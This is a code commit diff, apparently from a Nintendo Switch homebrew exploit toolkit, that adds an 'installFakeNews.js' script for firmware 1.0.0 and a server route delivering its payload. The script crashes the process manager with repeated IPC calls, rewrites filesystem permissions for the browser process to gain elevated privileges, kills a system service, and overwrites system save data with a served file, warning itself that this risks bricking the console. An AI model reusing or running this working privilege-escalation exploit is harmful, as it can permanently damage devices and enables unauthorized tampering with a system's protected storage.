Add Fake News installer for 1.0.0

exploit/fs/IFileSystem.js

@@ -38,4 +38,10 @@ IFileSystem.prototype.Close = function () {
 	return this.sc.svcCloseHandle(this.handle);
 };
 
+IFileSystem.prototype.DeleteFile = function (path) {
+	var pbuf = utils.str2ab(path);
+	var res = this.sc.ipcMsg(1).datau64(0).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(this.handle);
+	return res.asResult();
+};
+
 module.exports = IFileSystem;

start.js

@@ -108,6 +108,11 @@ app.get('/minmain.js', function (req, res) {
 	res.end(fs.readFileSync(path.resolve(__dirname, 'exploit/minmain.js')));
 });
 
+app.get('/fake_news.mp', function (req, res) {
+	var u8 = new Uint8Array(fs.readFileSync(path.resolve(__dirname, 'files/fake_news.mp')));
+    res.end(JSON.stringify(Array.prototype.slice.call(u8)));
+});
+
 app.get('/nros/:nroname', function (req, res) {
   var u8 = new Uint8Array(fs.readFileSync(path.resolve(__dirname, 'nros', req.params.nroname)));
   res.end(JSON.stringify(Array.prototype.slice.call(u8)));

usefulscripts/installFakeNews.js

@@ -0,0 +1,108 @@
+//
+// Script originally by kgsws, modified by SciresM.
+// BEWARE! By modifying system save data you risk a brick.
+//
+
+sc.IFileSystem.prototype.DeleteFile = function (path) {
+	var pbuf = utils.str2ab(path);
+	var res = this.sc.ipcMsg(1).datau64(0).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(this.handle);
+	return res.asResult();
+};
+
+sc.killAutoHandle();
+
+var save_struct = new Uint8Array([
+	0, 0, 0, 0, 0, 0, 0, 0,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0, 0, 0, 0, 0, 0, 0, 0,
+	0, 0, 0, 0, 0, 0, 0, 0,
+]);
+
+var perm_a = new Uint8Array([
+	0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1c, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+]);
+
+var perm_b = new Uint8Array([
+	0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
+]);
+
+if (sc.version !== '1.0.0') {
+    throw new Error('This fake news is only useful on 1.0.0.');
+}
+
+
+var save_data;
+var save_file = "/data/D00000000000000000000_LS00000000000000010000.msgpack"
+
+// you have to make pegaswitch serve static HTTP files, like ace_loader or kgDoom used
+var xhr = new XMLHttpRequest();
+xhr.open("GET", "/fake_news.mp", false);
+xhr.send(null);
+if(xhr.status !== 200) {
+	throw new Error("xhr failure " + xhr.status);
+}
+var save_data = new Uint8Array(JSON.parse(xhr.responseText));
+
+utils.log('fake_news_len: '+save_data.length);
+utils.log('AAA: '+save_data[0xCCC].toString(16));
+
+if (sc.elev_privs === undefined || !sc.elev_privs) {
+    sc.elev_privs = false;
+    // kill bcat
+    var tid = utils.parseAddr('010000000000000C'); // bcat
+    sc.ipcMsg(2).data(tid).sendTo('pm:shell');
+    sc.getService("pm:dmnt", (hndle) => {
+        utils.log("got handle 0x" + hndle.toString(16));
+
+        // get webkit PID
+        var tid = utils.parseAddr('010000000000100A');
+        var pid = sc.ipcMsg(3).datau64(tid).sendTo(hndle).assertOk().data[0];
+
+        // crash PM
+        for(var i = 0; i < 64; i++)
+        {
+            var res = sc.ipcMsg(2).setType(5).sendTo(hndle);//.assertOk();
+            if(res.movedHandles != undefined)
+                utils.log("duplicate 0x" + res.movedHandles[0].toString(16));
+        }
+
+        sc.getService("fsp-pr", (hndle) => {
+            // ClearFsPermissions
+            sc.ipcMsg(1).data(pid).sendTo(hndle).assertOk();
+            // SetFsPermissions
+            sc.ipcMsg(0).data(3, pid, tid, 0x1c, 0x2c).aDescriptor(perm_a.buffer, 0x1c, 0).aDescriptor(perm_b.buffer, 0x2c, 0).sendTo(hndle).assertOk();
+        });
+
+
+
+    });
+    sc.elev_privs = true;
+}
+
+
+
+sc.getService("fsp-srv", (hndle) => {
+    utils.log("got handle 0x" + hndle.toString(16));
+    sc.ipcMsg(1).datau64(0).sendPid().sendTo(hndle).assertOk(); // initialize
+    var res = sc.ipcMsg(52).dataArrayBuffer(save_struct.buffer).sendTo(hndle).assertOk(); // MountSystemSaveData
+    sc.withHandle(res.movedHandles[0], (bish) => {
+        utils.log("got handle 0x" + hndle.toString(16));
+        var fs = new sc.IFileSystem(sc, bish);
+        utils.log("delete file");
+        fs.DeleteFile(save_file).assertOk();
+        utils.log("create file");
+        fs.CreateFile(save_file, save_data.byteLength).assertOk();
+        utils.log("open file");
+        var f = fs.OpenFile(save_file).assertOk();
+        utils.log("write file");
+        f.Write(0, save_data.buffer, save_data.byteLength).assertOk();
+        utils.log("close file");
+        f.Close();
+        utils.log("commit");
+        sc.ipcMsg(10).sendTo(bish).assertOk(); // commit
+        utils.log("finished");
+    });
+});